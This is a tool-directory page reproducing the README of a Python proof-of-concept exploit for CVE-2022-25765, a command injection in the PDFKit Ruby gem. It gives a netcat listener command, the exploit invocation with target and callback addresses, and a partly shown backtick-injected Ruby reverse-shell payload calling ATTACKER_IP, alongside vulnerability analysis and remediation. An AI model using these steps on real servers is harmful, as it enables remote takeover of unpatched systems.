Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25765 — Python PoC exploit for CVE-2022-25765, a critical command injection in PDFKit. Generates a reverse shell via unsanitized URL parameters passed to wkhtmltopdf. Includes usage instructions and technical vulnerability analysis. | Kitploit
Tools/GitHubGitHub/lowercasenumbers/cve-2022-25765
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHublowercasenumbers/cve-2022-25765

CVE-2022-25765

Python PoC exploit for CVE-2022-25765, a critical command injection in PDFKit. Generates a reverse shell via unsanitized URL parameters passed to wkhtmltopdf. Includes usage instructions and technical vulnerability analysis.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
19 months agoNot yet reviewed
Share

CVE-2022-25765 Exploit

A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection

Usage

  1. Start a netcat listener on your attack machine:

    root@kitploit:~
    nc -lvnp 4444

  2. Run the exploit:

    root@kitploit:~
    python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT

Example:

root@kitploit:~
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

Parameters:

  • -t, --target: Target URL running vulnerable PDFKit
  • -l, --lhost: Your IP address for the reverse shell connection
  • -p, --lport: Your port for the reverse shell connection (must match your netcat listener)

Vulnerability Information

CVE ID: CVE-2022-25765 CVSS v3.1 Score: 9.8 (Critical) EPSS Score: 71.381% (99th percentile) CWE: CWE-77 - Improper Neutralization of Special Elements used in a Command

Affected Versions

  • Vulnerable: PDFKit 0.0.0 - 0.8.6
  • Patched: PDFKit 0.8.7.2+

Description

PDFKit is a Ruby gem that converts HTML to PDF using the wkhtmltopdf command-line tool. The vulnerability exists in how PDFKit handles URL parameters before passing them to system shell commands for PDF generation.

Technical Details

The vulnerability resides in lib/pdfkit/source.rb where URL sanitization is improperly implemented:

root@kitploit:~
def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

The Problem:

  1. PDFKit uses flawed logic to determine if a URL needs escaping
  2. Shell metacharacters (backticks, semicolons, pipes, etc.) can bypass this check
  3. Unsanitized URLs are passed directly to shell commands that invoke wkhtmltopdf
  4. Attackers can inject arbitrary commands that execute on the server

Attack Vector:

  • Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Network Access: Required

How This Exploit Works

This PoC exploits the vulnerability by:

  1. Injecting a malicious URL containing backtick command substitution
  2. The payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
  3. PDFKit fails to sanitize the backticks in the URL parameter
  4. When wkhtmltopdf processes the URL, the shell executes the Ruby reverse shell
  5. The target system connects back to the attacker's listener

Impact

  • Confidentiality: High - Complete system access
  • Integrity: High - Ability to modify any files
  • Availability: High - Potential for system disruption

Prerequisites for Successful Exploitation

On Target System:

  • Vulnerable PDFKit version (< 0.8.7.2)
  • Ruby installed (required for the reverse shell payload)
  • Application accepts user-controlled URLs passed to PDFKit
  • No egress filtering blocking outbound connections

Remediation

  1. Upgrade PDFKit to version 0.8.7.2 or later
  2. Input Validation: Implement strict allowlisting for URL inputs
  3. Sandboxing: Run PDFKit processes in isolated containers with minimal privileges
  4. Network Segmentation: Restrict outbound connections from PDF generation services
  5. WAF Rules: Deploy rules to detect shell metacharacters in URL parameters

References

  • NVD - CVE-2022-25765
  • GitHub Advisory GHSA-rhwx-hjx2-x4qr
  • PDFKit Issue #507
  • RubySec Advisory
Download Tool